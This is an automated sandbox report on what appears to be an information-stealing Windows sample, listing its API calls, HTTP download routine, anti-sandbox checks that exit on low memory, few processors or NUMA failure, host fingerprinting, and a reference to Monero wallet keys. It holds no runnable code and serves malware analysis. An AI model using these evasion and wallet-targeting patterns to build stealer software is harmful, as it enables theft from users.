GetProcAddress.KERNEL32(6F4E0000,00D3DBC8), ref: 0009A579
GetProcAddress.KERNEL32(6F4E0000,00D25368), ref: 0009A591
GetProcAddress.KERNEL32(6F4E0000,00D254A8), ref: 0009A5A9
GetProcAddress.KERNEL32(6F4E0000,00D253C8), ref: 0009A5C2
GetProcAddress.KERNEL32(6F4E0000,00D25428), ref: 0009A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0009A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0009A607
GetProcAddress.KERNEL32(75AE0000,00D3DCA0), ref: 0009A629
GetProcAddress.KERNEL32(75AE0000,00D38B78), ref: 0009A641
GetProcAddress.KERNEL32(75AE0000,00D3DC58), ref: 0009A659
GetProcAddress.KERNEL32(75AE0000,00D3DD60), ref: 0009A672
GetProcAddress.KERNEL32(76300000,00D254E8), ref: 0009A693
GetProcAddress.KERNEL32(6FE40000,00D3DBE0), ref: 0009A6B4
GetProcAddress.KERNEL32(6FE40000,00D25548), ref: 0009A6CD
GetProcAddress.KERNEL32(6FE40000,00D3DD48), ref: 0009A6E5
GetProcAddress.KERNEL32(6FE40000,00D3DCB8), ref: 0009A6FD

Strings

InternetSetOptionA, xrefs: 0009A5E5
HttpQueryInfoA, xrefs: 0009A5FC

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 378d0f5d3daa4153ddcbc52ebe7561bca3c46eeb99c70a7992f6ae28b8beecad
Instruction ID: 78bf24dfea621ae367f77698703bb4e81ba6fc1d1631229e38bf19e7ff023af7
Opcode Fuzzy Hash: 378d0f5d3daa4153ddcbc52ebe7561bca3c46eeb99c70a7992f6ae28b8beecad
Instruction Fuzzy Hash: 62627EB5601288AFC344DFA8FD8CD6AB7F9F78C309314861AA609C7234D7399859DF52

Function 00086280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 000847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00084839
Part of subcall function 000847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00084849

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

InternetOpenA.WININET(000A0DFE,00000001,00000000,00000000,00000000), ref: 000862E1
StrCmpCA.SHLWAPI(?,00D3FCE0), ref: 00086303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00086335
HttpOpenRequestA.WININET(00000000,GET,?,00D3F488,00000000,00000000,00400100,00000000), ref: 00086385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000863BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000863D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 000863FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0008646D
InternetCloseHandle.WININET(00000000), ref: 000864EF
InternetCloseHandle.WININET(00000000), ref: 000864F9
InternetCloseHandle.WININET(00000000), ref: 00086503

Strings

ERROR, xrefs: 00086407
GET, xrefs: 0008637C
ERROR, xrefs: 000864C9

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 5bf8066a46afedb18af19818aae1c0f4498486121970cc8fc671567da87c0eab
Instruction ID: 41455f1b72bcb1ff831e1698f0a75cfab96611eb94c8e9beec5bf36a60018942
Opcode Fuzzy Hash: 5bf8066a46afedb18af19818aae1c0f4498486121970cc8fc671567da87c0eab
Instruction Fuzzy Hash: DA715071A00218ABDF24EFA0DC49FEEB7B4FB45704F108158F10A6B191DBB56A89DF91

Function 00095510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0009A820: lstrlen.KERNEL32(00084F05,?,?,00084F05,000A0DDE), ref: 0009A82B
Part of subcall function 0009A820: lstrcpy.KERNEL32(000A0DDE,00000000), ref: 0009A885

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00095644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 000956A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00095857

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 000951F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00095228

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 000952C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00095318
Part of subcall function 000952C0: lstrlen.KERNEL32(00000000), ref: 0009532F
Part of subcall function 000952C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00095364
Part of subcall function 000952C0: lstrlen.KERNEL32(00000000), ref: 00095383
Part of subcall function 000952C0: lstrlen.KERNEL32(00000000), ref: 000953AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0009578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00095940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00095A0C
Sleep.KERNEL32(0000EA60), ref: 00095A1B

Strings

ERROR, xrefs: 00095636
ERROR, xrefs: 000959FE
ERROR, xrefs: 00095693
ERROR, xrefs: 00095849
ERROR, xrefs: 0009577D
ERROR, xrefs: 00095932

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: d0f574beb4bfbdb62db9a6f42d24014fafd495f662af95c57798b1eb2306ad5c
Instruction ID: 8987cf73115bf4b3ed1d96451ade0b5a555284414a49c76dc9dcdb0194dea2a8
Opcode Fuzzy Hash: d0f574beb4bfbdb62db9a6f42d24014fafd495f662af95c57798b1eb2306ad5c
Instruction Fuzzy Hash: 4EE11F71A205089ACF14FBA0EC57EEE737CAF55340F508528B50666493EF346A09EBD2

Function 000917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 000917C5
ExitProcess.KERNEL32 ref: 000917D1

Strings

block, xrefs: 000917B7

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 3e070a2abf84ea5ecb93fc3414b4715184841fefbdddb1fe77a561793a152e79
Instruction ID: 27c892faaf1643cc8a74cb768586adaefd2b632e487a00e03d200d4337b56488
Opcode Fuzzy Hash: 3e070a2abf84ea5ecb93fc3414b4715184841fefbdddb1fe77a561793a152e79
Instruction Fuzzy Hash: B45138B5B0420EEBDF14DFA0DA58AFE77B5BF44704F208048E906AB241D770E951EB62

Function 00097500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00097542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0009757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00097603
RtlAllocateHeap.NTDLL(00000000), ref: 0009760A
wsprintfA.USER32 ref: 00097640

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Strings

:, xrefs: 0009755C
C, xrefs: 0009754C
\, xrefs: 00097560
, xrefs: 0009764D, 00097655, 0009761B, 00097623

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-1928815233
Opcode ID: ece935215d299190ef4fd90a763c50f98e59e3dc584f9b7820da9551b5346b98
Instruction ID: 56a6533f98e7cee51110eb0b6ccc1866a195ce31a0948bf01b9de5b316ca4e85
Opcode Fuzzy Hash: ece935215d299190ef4fd90a763c50f98e59e3dc584f9b7820da9551b5346b98
Instruction Fuzzy Hash: 144191B1D04248ABDF10DF94DC49FEEBBB8EF08704F104199F509A7281DB74AA44DBA5

Function 000969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D31668), ref: 000998A1
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D317B8), ref: 000998BA
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D31608), ref: 000998D2
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D315C0), ref: 000998EA
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D315F0), ref: 00099903
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D38AD8), ref: 0009991B
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D25128), ref: 00099933
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D24F88), ref: 0009994C
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D31518), ref: 00099964
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D31638), ref: 0009997C
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D31530), ref: 00099995
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D31650), ref: 000999AD
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D25048), ref: 000999C5
Part of subcall function 00099860: GetProcAddress.KERNEL32(76210000,00D316C8), ref: 000999DE

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

Part of subcall function 000811D0: ExitProcess.KERNEL32 ref: 00081211

Part of subcall function 00081160: GetSystemInfo.KERNEL32(?), ref: 0008116A
Part of subcall function 00081160: ExitProcess.KERNEL32 ref: 0008117E

Part of subcall function 00081110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0008112B
Part of subcall function 00081110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00081132
Part of subcall function 00081110: ExitProcess.KERNEL32 ref: 00081143

Part of subcall function 00081220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0008123E
Part of subcall function 00081220: __aulldiv.LIBCMT ref: 00081258
Part of subcall function 00081220: __aulldiv.LIBCMT ref: 00081266
Part of subcall function 00081220: ExitProcess.KERNEL32 ref: 00081294

Part of subcall function 00096770: GetUserDefaultLangID.KERNEL32 ref: 00096774

Part of subcall function 00081190: ExitProcess.KERNEL32 ref: 000811C6

Part of subcall function 00097850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000811B7), ref: 00097880
Part of subcall function 00097850: RtlAllocateHeap.NTDLL(00000000), ref: 00097887
Part of subcall function 00097850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0009789F

Part of subcall function 000978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00097910
Part of subcall function 000978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00097917
Part of subcall function 000978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0009792F

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00D38C68,?,000A110C,?,00000000,?,000A1110,?,00000000,000A0AEF), ref: 00096ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00096AE8
CloseHandle.KERNEL32(00000000), ref: 00096AF9
Sleep.KERNEL32(00001770), ref: 00096B04
CloseHandle.KERNEL32(?,00000000,?,00D38C68,?,000A110C,?,00000000,?,000A1110,?,00000000,000A0AEF), ref: 00096B1A
ExitProcess.KERNEL32 ref: 00096B22

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: f7a1100e60edbb3da0bbb16542ef5e8a3e8e29d1342a7ad7be186a933c03bb94
Instruction ID: 2b41a55a420a45435638e155a4bd9aa06a691f7c077b3d5e65278f6cb2bf867a
Opcode Fuzzy Hash: f7a1100e60edbb3da0bbb16542ef5e8a3e8e29d1342a7ad7be186a933c03bb94
Instruction Fuzzy Hash: 8D31EA71A50208AADF04FBF0EC5ABEEB778BF15740F104518F212A6193DF716905EBA6

Function 00081220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0008123E
__aulldiv.LIBCMT ref: 00081258
__aulldiv.LIBCMT ref: 00081266
ExitProcess.KERNEL32 ref: 00081294

Strings

@, xrefs: 00081233

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 9ab9ef9c1be22f0fd1fb0bbbac7ca8c9d991c6bff6abec0a1bba09b396130bd4
Instruction ID: e003f515d5a38b9f1972656083cfc934a261137a834f630560b5ed00df5f5e9b
Opcode Fuzzy Hash: 9ab9ef9c1be22f0fd1fb0bbbac7ca8c9d991c6bff6abec0a1bba09b396130bd4
Instruction Fuzzy Hash: BB014BB0940308AAEF10EBE0DC4AFDEBBB8BF04705F208049E605B62C1D67455568799

Function 00096AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00D38C68,?,000A110C,?,00000000,?,000A1110,?,00000000,000A0AEF), ref: 00096ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00096AE8
CloseHandle.KERNEL32(00000000), ref: 00096AF9
Sleep.KERNEL32(00001770), ref: 00096B04
CloseHandle.KERNEL32(?,00000000,?,00D38C68,?,000A110C,?,00000000,?,000A1110,?,00000000,000A0AEF), ref: 00096B1A
ExitProcess.KERNEL32 ref: 00096B22

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 83a074dc99b91b022755e831056145b6c648e76b93a642c276cf680f1330514f
Instruction ID: 8e6ff322a79a44aee732aef5a931523b1c9842281e0e7d7e483b3c55266c8cf8
Opcode Fuzzy Hash: 83a074dc99b91b022755e831056145b6c648e76b93a642c276cf680f1330514f
Instruction Fuzzy Hash: 3BF05E70A44209ABEF10ABA0EC1ABBE7B74FB04745F104514B512A11C2DBB25540FA97

Function 000847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00084839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00084849

Strings

<, xrefs: 000847C9

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
